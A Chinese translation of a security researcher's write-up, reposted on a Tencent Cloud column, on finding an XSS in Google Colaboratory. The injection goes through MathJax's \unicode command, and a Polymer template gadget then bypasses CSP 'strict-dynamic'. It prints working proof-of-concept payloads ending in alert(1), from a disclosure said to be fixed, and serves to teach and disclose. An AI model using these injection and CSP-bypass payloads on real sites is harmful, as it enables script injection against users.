首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >我是如何找到 Google Colaboratory 中的一个 xss 漏洞的

我是如何找到 Google Colaboratory 中的一个 xss 漏洞的

作者头像
信安之路
发布2018-08-08 10:41:10
1.5K0
发布2018-08-08 10:41:10
举报
文章被收录于专栏:信安之路信安之路

本文作者:Michał Bentkowski 原文地址:https://blog.bentkowski.info/2018/06/xss-in-google-colaboratory-csp-bypass.html?view=classic 翻译作者:晚风(信安之路作者团队成员)

在本文中,我来讲讲我碰到的一个有趣的 XSS。2018 年 2 月,我在 google 的一个网络应用中发现了这个 XSS。这篇文章我不希望只是直接写出这个 XSS 存在在哪里,我会写出我找到这个 XSS 漏洞的思路,以及我在这个过程中需要克服哪些困难。另外,我还会讲一个用 javascript 小技巧绕过 CSP(内容安全策略)的例子。

什么是 Google Colaboratory

Google Colaboratory 是基于 Jupyter Notebook 的一个应用,主要作为大数据分析记录数据的笔记本。在 Colaboratory 中你可以创建包含文本和代码的文档,文本格式类似 markdown,支持 python2 或 3。代码可以在 Google Cloud 中执行,执行结果可以直接放在文档中。这种处理方式在科学研究中很方便。你可以准备一组数据和以什么方式处理这组数据的代码或者是维恩图。在 Colaboratory 的首页就有这种例子的展示。

像往常一样,我专注于寻找 XSS 漏洞和其他的一些漏洞。

我在之前就提到过了,Colaboratory 的文本使用 markdown 标记语法,markdown 是一种非常适合写笔记的语法,举个例子,你可以输入 **test** 来打印出粗体字,输入*test*打印出斜体字。

有趣的是,许多 markdown 语法解析器允许你直接使用 HTML 标记。Colaratory 也是同样的。例如,当你输入以下代码:

This is <strong>bold</strong>

然后你会在网页的 DOM 树中看到同样的代码

并且“bold”这个单词就变成了粗体。

接下来尝试着加一点简单的 XSS 代码:

Test<imgsrc=1onerror=alert(1)>

然而 DOM 树中显示的是

Test<imgsrc=1>

这意味着 Colaboratory 使用了 html 过滤器过滤掉了一些危险代码,像onerror事件,我在下面会说他到底用了什么 html 过滤库。

所以我们尝试一些别的方法。一个非常常见的在 markdown 解析器中注入 js 代码的方法是使用 javascript 伪协议的超链接,像这段代码:

[CLICK](javascript:alert(1))

被解析后就会被变成

<ahref="javascript:alert(1)">CLICK</a>

然而在 Colaboratory 中,并没有什么效果。当我使用 http/https 以外的协议时,这段 HTML 代码不会包含一个链接。另外我注意到,即使这个URL不包含一个正确的域名,这个链接也还是会被生成。就像我输入:

[CLICK](http://aaa$$$**bbbb)

上面的代码会被解析成

<ahref="https://aaa$$$**bbbb">CLICK</a>

我们便可以猜测URL的验证是通过简单的正则表达式完成的。因为 markdown 在 Colaboratory 中被解析成 javascript 代码,于是我准备从这个应用中的 js 文件入手,查找到那段用于验证 URL 的正则表达式。很快我就找到了下面的这段代码:

[...]
       returnqd(b?a: "about:invalid#zClosurez")
  }
    , sd=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i
    , td=function(a) {
[...]

高亮的那一行是验证链接中的 URL 的正则表达式。我仔细看了一下,但找不到任何办法去绕过。虽然我花费一些时间去寻找这个表达式而且绕过不了,但时间并没有被浪费。我在想既然我发现一个地方会去验证链接的正确性,那或许附近的一些地方为会有一些代码去过滤 HTML?

换句话说,我应该能够找到那段在之前移除 onerror 事件的函数。我的直觉并没有让我失望,在附近的几行代码中,我找到了以下的一段代码:

varFm=xK("goog.html.sanitizer.SafeDomTreProcessor")

我快速地谷歌了一下,goog.hml.sanitizer.SafeDomTreeProcessor是 Google Closure library 的一部分。它包含了一份标签黑白名单。我花了些时间尝试去绕过 Closure 的过滤器但无济于事。在 HTML 过滤方面 Closure 毕竟是一个很受欢迎的依赖库。因此我不太可能在短时间内找到它的一些安全缺陷。

在这方面,我可以从不同的角度看待 Colaboratory。我在应用文档中注意到之前没有注意到的一件事: Colaboratory 还支持 LaTeX 语法。这可能是突破点。

我回到 Colaboratory 中,写出了以下的代码:

\frac12

这在 DOM 树中产生了以下的内容:

<spanclass="MathJax"id="MathJax-Element-5-Frame"tabindex="0"data-mathml="<math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;><mfrac><mn>1</mn><mn>2</mn></mfrac></math>"role="presentation"style="position: relative;">
<nobraria-hidden="true">[...] </nobr>
<spanclass="MJX_Assistive_MathML"role="presentation">
 <mathxmlns="http://www.w3.org/1998/Math/MathML">
  <mfrac>
   <mn>1</mn>
   <mn>2</mn>
  </mfrac>
 </math>
</span>
</span>

<nobr>标记中还有一大块代码,但这里为了简洁把他们删除了。

这些代码看起来非常有意思。我之前提到过 Colaboratory 使用 Closure 依赖库去清除 HTML 代码的危险元素。Closure 有一个标签的白名单,白名单中不包含这些标签:<math><mfrac><mn>。然而,由于渲染了 LaTeX,这些标签出现在了 HTML 中。此外,在第一行中,在data-mathml属性中,你可以看到完全相同的 HTML,这些 HTML 将在 DOM 树中渲染多行。

现在我感觉我离正确的答案越来越近了。为什么?因为,这个应用的这种行为显示了 Closure 库从不清除由 MathJax(LaTeX 依赖库)生成的 HTML 代码。此时,在 Colaboratory 中寻找 XSS 的问题就演变成了在 MathJax 中寻找 XSS。对于我来说,MathJax 似乎没有因为安全问题而经过仔细审核。

所以我查找 MathJax 的文档去寻找它支持哪些 LaTeX 命令。一开始,我注意到了下面的命令:

\href{url}{math}

根据文档的说明,你可以用这条命令在 LaTeX 里创建一个超链接,感觉可以在这里构造 XSS

\href{javascript:alert(1)}{1}

不幸的是,事实证明,MathJax 具有安全模式,可以防止这种攻击。

继续看文档,我发现 \unicode 命令可以使所有的 unicode 字符通过代码值的形式表示在 LaTeX 代码中。可以使用十进制和十六进制形式的数字。于是我在 Colaboratory 中尝试了一下,用下面两种方法输入大写字母 A

\unicode{x41}\unicode{65}

然后在 DOM 树中出现了以下的内容:

<spanclass="MathJax"id="MathJax-Element-6-Frame"tabindex="0"data-mathml="<math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;><mtext>&#x41;</mtext><mtext>&#65;</mtext></math>"role="presentation"style="position: relative;">
<spanclass="MJX_Assistive_MathML"role="presentation">
 <mathxmlns="http://www.w3.org/1998/Math/MathML">
  <mtext>A</mtext>
  <mtext>A</mtext>
 </math>
</span>
</span>

其中,data-mathml 属性中包含了<mtext>标签,HTML 实体与我输入的格式完全相同,就像&#x41;&#65;。因此,MathJax 可能根本不验证 \unicode 命令的参数,只是将其直接放入 HTML 中。我们再试一下:

\unicode{<imgsrc=1onerror=alert(1)>}

于是 DOM 树中出现了:

<spanclass="MathJax"id="MathJax-Element-7-Frame"tabindex="0"data-mathml="<math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;><mtext>&amp;#<img src=1 onerror=alert(1)>;</mtext></math>"role="presentation"style="position: relative;">
<spanclass="MJX_Assistive_MathML"role="presentation">
 <mathxmlns="http://www.w3.org/1998/Math/MathML">
  <mtext>&amp;#
   <imgsrc="1"onerror="alert(1)">
  ;</mtext>
 </math>
</span>
</span>

很棒!img 标签没有被过滤,出现在了 DOM 树中,现在我们的问题在于...页面中并没有出现 alert 这个框。

我想了一会没想出来为什么页面没有 alert 出来,但是当我看到控制台的时候,一切都明白了。

因为 Colaboratory 被 CSP 保护了。CSP 生效从而防御住了 XSS。但不管怎么样我决定向 Google 提交这个 bug,因为 CSP 没有改变 XSS(MathJax bug)存在的这个事实。

我发送了一个报告给 Google 并决定睡觉去了。明天早上起来再想办法绕过 CSP。

CSP绕过

其实昨晚我并没有睡好。虽然我昨天提交了一个 XSS bug,但它不能正常弹出 alert 的框,我有点不甘心。今天继续努力。

Colaboratory 中使用的 CSP 策略包含了两个最重要的指令:'nonce-...' 和 'strict-dynamic'。通常,'nonce-...' 会使 script 标签只有在这个 script 标签包含一个 nonce 属性的值和 'nonce-...' 指令的值相同的时候,这个 script 脚本才会被执行。'strict-dynamic' 允许将信任关系传递给动态生成的脚本,也就是说,“strict-dynamic”允许 js 动态添加的脚本执行,而忽略 script-src 的白名单。并且,其他的 script-src 白名单会被忽略,浏览器不会执行静态或解析器插入的脚本,除非它伴随有效的 nonce 值。 当你有一个可信的脚本(假设他有正确的 nonce 值),并且它在 DOM 树中添加了一个新的<script>脚本,那么这个新的脚本是可信的。因为它是被一个已存在的可信脚本添加的。

去年,Sebastian Lekies, Krzysztof Kotowicz 和 Eduardo Vela Nava 在各种安全会议上发表了题为“Breaking XSS mitigations via Script Gadgets"

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

的精彩演讲。演讲中提到了在各种受欢迎的 JS 框架中绕过针对 XSS 的各种缓解措施,这其中就包括了 CSP。在演讲中你还可以找到一张幻灯片,其中显示了你可以绕过以下框架的哪种安全措施。事实表明,Polymer(Colaboratory 使用的框架)可以绕过任何类型的 CSP。

Polymer 是什么?这是一个 JS 库,可以用它来自定义你自己的 HTML 元素,并在代码中直接使用。打个比方,你可以按“SHARE”按钮,然后新的元素<colab-dialog-impl>将会出现在 DOM 树中。我的想法是尝试替换该元素的默认模板,所以我写了下面的代码:

$ \unicode{</math><dom-moduleid=colab-dialog-impl>
<template>
SOME RANDOM TEXT
</template>
</dom-module>} $

结果你可以看下面的演示动画。

这很棒!在点击了“SHARE”后,你可以清楚地看到我写的“SOME RANDOM TEXT”文字出现,取代了之前的窗口。

现在让我们来换上注入的脚本:

$ \unicode{</math><dom-moduleid=colab-dialog-impl>
<template>
 <script>alert(1)</script>
</template>
</dom-module>
<colab-dialog-impl>} $

我们再次停下来理解一下为什么它能生效。<script>标签事实上位于<template>元素中。接下来,每当“SHARE”按钮被按下时,脚本将会被 Polymer 插入进 DOM 树中。因为 Polymer 是可信的脚本,所以新生成的脚本也是可信的。这就利用了 CSP 的‘strict-dynamic’指令绕过了限制。

经过了这漫长的探索,这个 XSS 终于能正常弹框了。

总结

最后总结一下,首先我展示了我是如何在 Colaboratory 中识别 XSS,然后通过在 MathJax 依赖库中寻找到了安全问题从而在 DOM 树中注入了我们的恶意代码。最后,我使用了一个被称为 JS 小技巧来绕过 CSP(内容安全策略)。

目前,MathJax 中的安全问题已经得到了修复。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-08-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 什么是 Google Colaboratory
  • CSP绕过
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档